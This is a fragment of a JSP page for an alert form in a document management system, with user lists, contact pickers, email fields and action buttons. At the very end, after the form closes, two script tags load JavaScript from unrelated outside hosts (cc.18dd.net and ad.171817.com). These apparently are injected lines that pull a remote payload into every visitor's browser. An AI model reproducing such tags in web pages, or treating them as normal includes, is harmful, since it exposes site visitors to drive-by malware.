                      [<a href="" onclick="showBlock('unReaderHide'); hideBlock('unReaderShow'); toggleBlock('unreader'); return false" onMouseOver="window.status='unreader';return true;"><bean:message key ='calendar.label.hide'/></a>]
                      <script language="Javascript">
                        <%if(UpdateAlert.ALERT_TYPE.equals(alertType)){%>
                          showBlock("unReaderShow");
                        <%}else{%>
                          hideBlock("unReaderShow");
                        <%}%>
                      </script>
                    </span>
                    <span id="unReaderHide">
                      [<a href="" onclick="hideBlock('unReaderHide'); showBlock('unReaderShow'); toggleBlock('unreader'); return false" onMouseOver="window.status='unreader';return true;"><bean:message key ='calendar.label.show'/></a>]
                      <script language="Javascript">
                       <%if(UpdateAlert.ALERT_TYPE.equals(alertType)){%>
                          hideBlock("unReaderHide");
                        <%}else{%>
                          showBlock("unReaderHide");
                        <%}%>
                      </script>
                    </span>
        </td>
      </tr>
      <tr>
        <td>
		<div id="unreader">
      <table width="100%" border="0" cellspacing="2" cellpadding="0">
      <tr>
        <td>
      <%
          for(int i=0;i<unReadUserList.size();i++){
            if(!readUserList.contains(unReadUserList.get(i))){
               %>
               <%if( i>3 && i%4==0){%>
                <br><%=unReadUserList.get(i)%>;
              <%}else{%>
                 <%=unReadUserList.get(i)%>; &nbsp;
              <%}%>
            <%}
          }%>
	    </td>
      </tr>
      </table>
      <script language="Javascript">
         <%if(!UpdateAlert.ALERT_TYPE.equals(alertType)){%>
              hideBlock("unreader");
         <%}else{%>
              showBlock("unreader");
          <%}%>
      </script>
      </div>
        </td>
      </tr>
    </table>
    </td>
  </tr>
<%    }
  } %>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>
  <!-- Section Header -->
  <%PermissionManager sPermissionManager = sessionContainer.getPermissionManager();
  if(sPermissionManager.hasAccessRight(SystemFunctionConstant.CONTACT_GROUP,"R")){%>
  <layout:sectionHeader name='contact.label.external_recipient'/>
  <tr>
    <td class='<layout:classLabel />' width='25%' valign='top'><bean:message key='contact.label.external_recipient'/>:&nbsp;</td>
    <td class="formFieldSmall" width='75%'>
    <table>
       <tr>
        <td class="bodySmallBold"><bean:message key='dms.label.contact'/></td>
        <td class="bodySmallBold"><%if(SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.CONTACT_ENABLE_INTERNAL_USERS)){%><bean:message key='dms.label.contact_list'/><%}%></td>
      </tr>
      <tr>
         <td width="300">

		 <%
         if(!SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.CONTACT_ENABLE_INTERNAL_USERS)&&GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)){
          ContactPersonDAObject contactPersonDAO=new ContactPersonDAObject(sessionContainer,conn);
             if(maintDmsUpdateAlertForm.getContactPersonList()!=null && maintDmsUpdateAlertForm.getContactPersonList().length>0 ){
	           for(int i = 0 ; i< maintDmsUpdateAlertForm.getContactPersonList().length ;i++){
				  Integer contactPersonID = TextUtility.parseIntegerObj(maintDmsUpdateAlertForm.getContactPersonList()[i])	;

                  ContactPerson contactPerson=(ContactPerson)contactPersonDAO.getObjectByID(contactPersonID);
			      %> <%=contactPerson.getFirstName() +" " +contactPerson.getLastName() %><br><%
			   }  
             }
		 }else{
         %>


           <html:checkboxOptions dbListName='contactPersonList' name='contactPersonList' nameValue='<%=maintDmsUpdateAlertForm.getContactPersonList()%>' hasSelect='false' width='300'/>
         <%}%>
        </td>
        <td width="300">


		 <%
         if(!SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.CONTACT_ENABLE_INTERNAL_USERS)&&GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)){
          ContactListDAObject contactDAO=new ContactListDAObject(sessionContainer,conn);
             if(maintDmsUpdateAlertForm.getContactList()!=null && maintDmsUpdateAlertForm.getContactList().length>0 ){
	           for(int i = 0 ; i< maintDmsUpdateAlertForm.getContactList().length ;i++){
				  Integer contactListID = TextUtility.parseIntegerObj(maintDmsUpdateAlertForm.getContactList()[i])	;

                  ContactList contact=(ContactList)contactDAO.getObjectByID(contactListID);
			      %> <%=contact.getContactListName()%><br><%
			   }  
             }
		 }else{
         %>

          <html:checkboxOptions dbListName='contactList' name='contactList' nameValue='<%=maintDmsUpdateAlertForm.getContactList()%>' hasSelect='false' width='300'/>
         <%}%>

        </td>
      </tr>
    </table>
    </td>
  </tr>
  <tr>
   <td class='<layout:classLabel />' width='25%' valign='top'><bean:message key='dms.label.email_subject'/>:&nbsp;</td>
   <td class="formFieldSmall" width="75%"><html:text property='subject' size="70%" value="<%=docName%>"/></td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>
  <%}%>

  <!--send email Start-->
  <%if(supportEmail){%>
  <%if (permission.indexOf("L") >= 0 || GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE) ) {%>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>
  <!-- Section Header -->
  <layout:sectionHeader name="dms.label.invite_external_by_email" mandatory='false'/>
  <tr>
    <td class="formLabelSmall" valign='top'><bean:message key='dms.label.email_send_to'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property='recipients' size="70%"/></td>
  </tr>
    <tr>
      <td class="formLabelSmall" valign='top'><bean:message key='dms.label.email_cc'/>:&nbsp;</td>
      <td class="formFieldSmall"><html:text property='CCRecipients' size="70%"/></td>
    </tr>
    <tr>
      <td class="formLabelSmall" valign='top'><bean:message key='dms.label.email_bcc'/>:&nbsp;</td>
      <td class="formFieldSmall"><html:text property='BCCRecipients' size="70%"/></td>
    </tr>
    <tr>
      <td class="formLabelSmall" valign='top'><bean:message key='dms.label.email_subject'/>:&nbsp;</td>
      <td class="formFieldSmall">
      <%if(GlobalConstant.NAV_MODE_NEW.equals(maintDmsUpdateAlertForm.getNavMode())){%> 
	    <html:text property='externalSubject' size="70%" value="<%=docName%>"/>
      <%}else{%>
	    <html:text property='externalSubject' size="70%"/>
      <%}%>
	  </td>
    </tr>
    <%}%>
  <%}%>
  <!-- Compose Email End-->
  <%}%>
  <tr>
    <td colspan="2"><layout:auditTrail/></td>
  </tr>
</table>
</div>
</layout:tabContainer>

<div id="bottomButtonArea">
    <div id="buttonSection">
<%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
      <html:standardButton label="common.label.save" onClick="return CustomOpSave()"/>
    <%} else if (!GlobalConstant.OP_MODE_DELETE.equals(maintDmsUpdateAlertForm.getOpMode())) {%>

    <%if (SystemFunctionConstant.DMS_PERSONAL_FOLDER.equals(sCurFunctionCode) || (permission.indexOf("E") >= 0) ){
      String tempReturnTo =java.net.URLEncoder.encode(TextUtility.noNull(maintDmsUpdateAlertForm.getReturnTo()));%>
      <html:standardButton label="common.label.edit" link='<%="MaintDmsUpdateAlert.do?ID=${maintDmsUpdateAlertForm.ID}&alertType=${maintDmsUpdateAlertForm.alertType}&objectID=${maintDmsUpdateAlertForm.objectID}&parentID=${maintDmsUpdateAlertForm.parentID}&returnTo="+tempReturnTo+"&rootID=${maintDmsUpdateAlertForm.rootID}&clearLogs=${maintDmsUpdateAlertForm.clearLogs}"%>'/>
    <%}else{%>
      <html:standardButton label="common.label.edit" disable="true"/>
    <%}%>

    <%}%>
    <%if (GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE) && !Utility.isEmpty(maintDmsUpdateAlertForm.getID())) {%>

    <%if (SystemFunctionConstant.DMS_PERSONAL_FOLDER.equals(sCurFunctionCode) || (permission.indexOf("D") >= 0) ){%>
      <html:standardButton label="common.label.delete" onClick="return CustomOpDelete()"/>
    <%}else{%>
      <html:standardButton label="common.label.delete" disable="true"/>
    <%}%>

    <%}%>
    </div>
</div>
<%}catch (Exception e){
  LogFactory.getLog(this.getClass()).error(e, e);
  }%>
</html:form>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>